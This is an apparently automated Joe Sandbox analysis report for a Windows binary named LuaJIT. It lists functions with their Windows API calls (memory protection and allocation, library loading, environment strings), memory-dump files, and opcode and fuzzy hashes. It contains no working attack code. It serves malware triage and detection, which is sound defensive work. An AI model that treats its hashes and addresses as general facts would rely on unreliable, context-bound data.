Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExA.KERNELBASE(?,?,?,00007FF7189EAA0C,?,?,?,?,?,?,?,?,?,00007FF7189F0C10), ref: 00007FF7189FBE31
GetProcAddressForCaller.KERNELBASE(?,?,?,00007FF7189EAA0C,?,?,?,?,?,?,?,?,?,00007FF7189F0C10), ref: 00007FF7189FBE4A

Strings

SystemFunction036, xrefs: 00007FF7189FBE40
advapi32.dll, xrefs: 00007FF7189FBE28

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: AddressCallerLibraryLoadProc
String ID: SystemFunction036$advapi32.dll
API String ID: 4215043672-1354007664
Opcode ID: cebfdd190c46d91446e68554ad3b86c01d433f54c184786dfb086cdbc5a6554b
Instruction ID: fa2baa8826cd40797a5c222cb67a732b315d85ac9eb688267d08ae522e6c32f0
Opcode Fuzzy Hash: cebfdd190c46d91446e68554ad3b86c01d433f54c184786dfb086cdbc5a6554b
Instruction Fuzzy Hash: DA118262F06F0682FF18AF25D495335E391EF14B61F840834C90D06394EE7CE899C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A79F90 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF718A79FC9
LCMapStringEx.KERNELBASE ref: 00007FF718A7A01D
LCMapStringW.KERNEL32 ref: 00007FF718A7A051

Strings

LCMapStringEx, xrefs: 00007FF718A79FAC, 00007FF718A79FBD

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: String$try_get_function
String ID: LCMapStringEx
API String ID: 1203122356-3893581201
Opcode ID: 2b6ef0dcb588f211d0c714de11c13471664f00ff4b6a7aa5471f9e10c7e91108
Instruction ID: 294dec0c634755e2a0c5d0022e3a12140daf9b7e088e3475ee09309c157cf1a4
Opcode Fuzzy Hash: 2b6ef0dcb588f211d0c714de11c13471664f00ff4b6a7aa5471f9e10c7e91108
Instruction Fuzzy Hash: E5113E31A0DF8186D760DB45B4406AAF7A0F7C8B90F544236EE8D43B59DF3CD4548B14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A1D070 Relevance: 6.1, APIs: 4, Instructions: 80
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FF718A1D0AC
VirtualProtect.KERNEL32(?,?,?,?,?,?,?,00007FF718A2C1D5,?,?,?,?,00007FF718A30639), ref: 00007FF718A1D0E3
VirtualProtect.KERNEL32 ref: 00007FF718A1D131
VirtualProtect.KERNEL32(?,?,?,?,?,?,?,00007FF718A2C1D5,?,?,?,?,00007FF718A30639), ref: 00007FF718A1D176

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: fa44b1b3b309ba523a39dd5dae24c0e1ac7f96c1a153774b8ae88088be8c7adc
Instruction ID: 7a07bfe4dc70b9c79fe546442fc2eb1e846e22a0f1cb099d69a66a79df806695
Opcode Fuzzy Hash: fa44b1b3b309ba523a39dd5dae24c0e1ac7f96c1a153774b8ae88088be8c7adc
Instruction Fuzzy Hash: 40219362B0ED8282EB54EF16E444FA9E3A0FB45B98F880236CB0D07644DF3DD499C758

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7189FE210 Relevance: 6.0, APIs: 4, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7189FE240
VirtualQuery.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7189FE25E
VirtualFree.KERNELBASE ref: 00007FF7189FE293
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7189FE2AB

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ErrorLastVirtual$FreeQuery
String ID:
API String ID: 2187276999-0
Opcode ID: a284c8eb4bfbe97b37498066048d2db83e0e4d00ca9cadab829bf9187241a676
Instruction ID: 1040ae2b99f20ac052769dce84aed1628c782cb4a30dbac527e91630eb71a14a
Opcode Fuzzy Hash: a284c8eb4bfbe97b37498066048d2db83e0e4d00ca9cadab829bf9187241a676
Instruction Fuzzy Hash: CF113035A19F8182EB65AF11A40026DF7A1FB44FE5F880136DA8D17B98DF3CE4498B14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7189FD950 Relevance: 6.0, APIs: 4, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00007FF7189FD965
VirtualQuery.KERNEL32 ref: 00007FF7189FD980
VirtualFree.KERNELBASE ref: 00007FF7189FD9B5
SetLastError.KERNEL32 ref: 00007FF7189FD9CD

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ErrorLastVirtual$FreeQuery
String ID:
API String ID: 2187276999-0
Opcode ID: 839317e8228041fa2e1f2648b85889a3486948da1cdd9c0f93754aaadfb7b849
Instruction ID: 367f3024e2c64d068941e99d67f9a6e6e0e8753474d8fedcdad5997065f229cd
Opcode Fuzzy Hash: 839317e8228041fa2e1f2648b85889a3486948da1cdd9c0f93754aaadfb7b849
Instruction Fuzzy Hash: A611AE31F0DF8142EB659B11B400229E7A1FB45BE5F580235D66D42658DF3DE5C88714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7189FE0E0 Relevance: 3.8, APIs: 3, Instructions: 73
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,00007FF7189EAA2E,?,?,?,?,?,?,?,?,?,00007FF7189F0C10), ref: 00007FF7189FE0EA
VirtualAlloc.KERNELBASE(?,?,?,00007FF7189EAA2E,?,?,?,?,?,?,?,?,?,00007FF7189F0C10), ref: 00007FF7189FE103
SetLastError.KERNEL32(?,?,?,00007FF7189EAA2E,?,?,?,?,?,?,?,?,?,00007FF7189F0C10), ref: 00007FF7189FE10E

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ErrorLast$AllocVirtual
String ID:
API String ID: 1225938287-0
Opcode ID: 285b33b9818949d3c29423ddccaaa5e87681a57d664be0d455f9b4024412526f
Instruction ID: e5de93bdcc81a13c6361db166aef42a595420d7687126b9dfaeff0b598794b15
Opcode Fuzzy Hash: 285b33b9818949d3c29423ddccaaa5e87681a57d664be0d455f9b4024412526f
Instruction Fuzzy Hash: 1A21D172B14E8086E7149B21E9843ADA2A1FB45BF8F584334EA7D0BBD8CF3CD5598344

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A868A0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32 ref: 00007FF718A868E2

Strings

, xrefs: 00007FF718A86925

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: d26b197fc85d6378a6b55222ed312ac47425772993a6907c9e646548b17fbfe6
Instruction ID: 710d863088bfb2721f21e914cd4441d93c5314135a7919adad4c94b6727e39b7
Opcode Fuzzy Hash: d26b197fc85d6378a6b55222ed312ac47425772993a6907c9e646548b17fbfe6
Instruction Fuzzy Hash: 4F51F33291DAC08BE7209F24D0497AEFBA0F745B58F944235D68D47A85CF3CD509CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A1CEF0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 00007FF718A1CF22

Strings

, xrefs: 00007FF718A1CF2C

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: 01fbac281c50a49a96e9d0cb43a1ec749b8e80516e3f3a373b503d2e74f4f941
Instruction ID: a2fbbdd95e2e8def7adcf4721cf2ab8301bccf0a0872d8fcdbfa27fe6687f966
Opcode Fuzzy Hash: 01fbac281c50a49a96e9d0cb43a1ec749b8e80516e3f3a373b503d2e74f4f941
Instruction Fuzzy Hash: C7E09B61A2BA8682EB14AB51D448BE8B350E714B5CF5C1135D90C0B351CF39C047C718

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A86D78 Relevance: 3.2, APIs: 2, Instructions: 194COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718A86790: GetOEMCP.KERNEL32(?,?,?,?,?,?,FFFFFFFD,00007FF718A86AB4,?,?,?,?,00000000,COMSPEC,?,00007FF718A86D4E), ref: 00007FF718A867BA

IsValidCodePage.KERNEL32(?,00000001,?,?,00000000,00000001,?,00007FF718A86B67,?,?,?,?,00000000,COMSPEC,?,00007FF718A86D4E), ref: 00007FF718A86DE3
GetCPInfo.KERNEL32(?,00000001,?,?,00000000,00000001,?,00007FF718A86B67,?,?,?,?,00000000,COMSPEC,?,00007FF718A86D4E), ref: 00007FF718A86E2F

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: b30f117d48d73a8056a61fa276d23b3d8ed677ba98b71f99d919e611270c9a61
Instruction ID: ffcc58b08a9c413da0f70dc4e2bb975df94bd29f12212ab26afb20247e5d4c11
Opcode Fuzzy Hash: b30f117d48d73a8056a61fa276d23b3d8ed677ba98b71f99d919e611270c9a61
Instruction Fuzzy Hash: 23812762E0EE8243FB61AF25D049979F791AB01761F884236D68E47680DE7CF948C339

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A6B600 Relevance: 3.2, APIs: 2, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A6B63C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A6B739

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 12f44f115ac616be0532b19613da48ae23ec1e31c1aa57495a1ed08c34be612c
Instruction ID: b7c7b69999e4549d680bff75d4ecd28df530a46b2e1a0dc676f72ab5dfafa88b
Opcode Fuzzy Hash: 12f44f115ac616be0532b19613da48ae23ec1e31c1aa57495a1ed08c34be612c
Instruction Fuzzy Hash: 1351C625B0BA4247F724AE259400F7AE651BF40BB4FA84330DE6D177DDCE3CE4068628

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A870C0 Relevance: 3.1, APIs: 2, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,00000001,00007FF718A7649B,?,?,COMSPEC,00007FF718A7698E), ref: 00007FF718A870D9
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,00000001,00007FF718A7649B,?,?,COMSPEC,00007FF718A7698E), ref: 00007FF718A8719D

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: 5a2da515c838386f7811d03cfc91fe6954a5dddc094c7015ab0f293a68a93eff
Instruction ID: 80a3e0ceb1ff48ddfdd9b37c00ed1f441831486252256babbad2da134bac52ab
Opcode Fuzzy Hash: 5a2da515c838386f7811d03cfc91fe6954a5dddc094c7015ab0f293a68a93eff
Instruction Fuzzy Hash: 2A219821E19F9182E720AF116801429E6A5FF45BE1F884334DE8D63FE5DF3CE4668728

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A7D978 Relevance: 3.1, APIs: 2, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF718A7D8AB,?,?,00000000,00007FF718A7D953,?,?,?,?,?,?,00007FF718A6B44A), ref: 00007FF718A7D9DE
GetLastError.KERNEL32(?,?,?,00007FF718A7D8AB,?,?,00000000,00007FF718A7D953,?,?,?,?,?,?,00007FF718A6B44A), ref: 00007FF718A7D9E8

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: 3a14b92c9bbadddff11f5306f7ca1229d44cf6feb5347e96e6aaedb0fa6da2c0
Instruction ID: ac8e1087df8f961f4c656da4956a8823e94fcc0bd2a2dd815c0e2e16c5ce031d
Opcode Fuzzy Hash: 3a14b92c9bbadddff11f5306f7ca1229d44cf6feb5347e96e6aaedb0fa6da2c0
Instruction Fuzzy Hash: 8E11D212B1EE4203EB9473619491B7DD6826F817B0FC40339DA1D466CADF6DA84C9368

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A3B8A0 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00007FF718A3B8DB
FreeLibrary.KERNELBASE ref: 00007FF718A3B909

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: b5ffc7456c5bc9b3dafa6904a3a06c31e735427cff01c1fb9606859edb2597bb
Instruction ID: 62f91ead5c1bc480fbba2e3d7eeb32904766752f78b174b1fada9b857f34284a
Opcode Fuzzy Hash: b5ffc7456c5bc9b3dafa6904a3a06c31e735427cff01c1fb9606859edb2597bb
Instruction Fuzzy Hash: 75018032A09E8082EB50DB11E440529F3A4FB84BA4B845222DA6D03A98CF3CD456C704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7189EE310 Relevance: 2.6, APIs: 2, Instructions: 129COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7189EE341
SetLastError.KERNEL32 ref: 00007FF7189EE4DB

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: f14a1ffd398e877929015d6932918b0cea86eba69f4c89ae067188fca15704b8
Instruction ID: b205fb20af12582e44d1d3c419a9ba0a28f9268f6fd385143b133b1cc8a40755
Opcode Fuzzy Hash: f14a1ffd398e877929015d6932918b0cea86eba69f4c89ae067188fca15704b8
Instruction Fuzzy Hash: D6518D62A08E8285E710AB26D40436CFBA5FB84BB9F954332CE6D137E5DE7DD849C314

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A1D210 Relevance: 2.6, APIs: 2, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?,?,?,?,00007FF718A30004), ref: 00007FF718A1D27A
VirtualFree.KERNEL32(?,?,?,?,?,?,?,00007FF718A30004), ref: 00007FF718A1D2B4

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: ec8545554d4a6bf9a39bf5eda0942499c7f15918e73b7330461e443d0cd978bd
Instruction ID: 835cefb4e5c80d22070aa9df8507f7b7c655a4964c6ead4d512b1cfffae41c88
Opcode Fuzzy Hash: ec8545554d4a6bf9a39bf5eda0942499c7f15918e73b7330461e443d0cd978bd
Instruction Fuzzy Hash: F3319432B05E8582EB18EF21E5147BAA760FB447A8F580635CF6E07794DF3CD1468348

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A7EB78 Relevance: 1.6, APIs: 1, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A7EBA0

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 76a47aa2283c516f8cec9494bd07b991198a22d56607e1e87e8a5922a60b50a3
Instruction ID: cf920734dd2d3e0a4badab9738d81f508a27b2f8ad37a2c044d9e7c5d610330f
Opcode Fuzzy Hash: 76a47aa2283c516f8cec9494bd07b991198a22d56607e1e87e8a5922a60b50a3
Instruction Fuzzy Hash: FC41F732A0AA4547EB14AB25C241A79F7A0FB40BA4F900330DB4E47790CF39F436D7A4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A7E460 Relevance: 1.6, APIs: 1, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A7E557

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: b10af8f814f489376099eec4d1b2bf2dee6a1fc06b5f619ad505525f2efba06e
Instruction ID: c54cfd7fb2cf3c3f59db96eae43e37c99f28d6b182da9178133392757ef2e474
Opcode Fuzzy Hash: b10af8f814f489376099eec4d1b2bf2dee6a1fc06b5f619ad505525f2efba06e
Instruction Fuzzy Hash: 2F31BEA2A0AA4687E7017B558841B7CEA91AF80BB0FE50335DA1C033D2DF7DF4599739

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A81A38 Relevance: 1.6, APIs: 1, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A81A5B

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d92fb9f933d27554a6cb99c76bd027f6f14b4a50af115597ec1a8aa59d8bf4e5
Instruction ID: e21a0436125bfcb7c8ac56432ba783181f0cf170dddad8ee9d89b9273e80c764
Opcode Fuzzy Hash: d92fb9f933d27554a6cb99c76bd027f6f14b4a50af115597ec1a8aa59d8bf4e5
Instruction Fuzzy Hash: 55210732A09E4147D760AF18D041B79F6A1FB81BA1FA40334D65D476D5DF3CE808CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A6B5F4 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A6B560

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

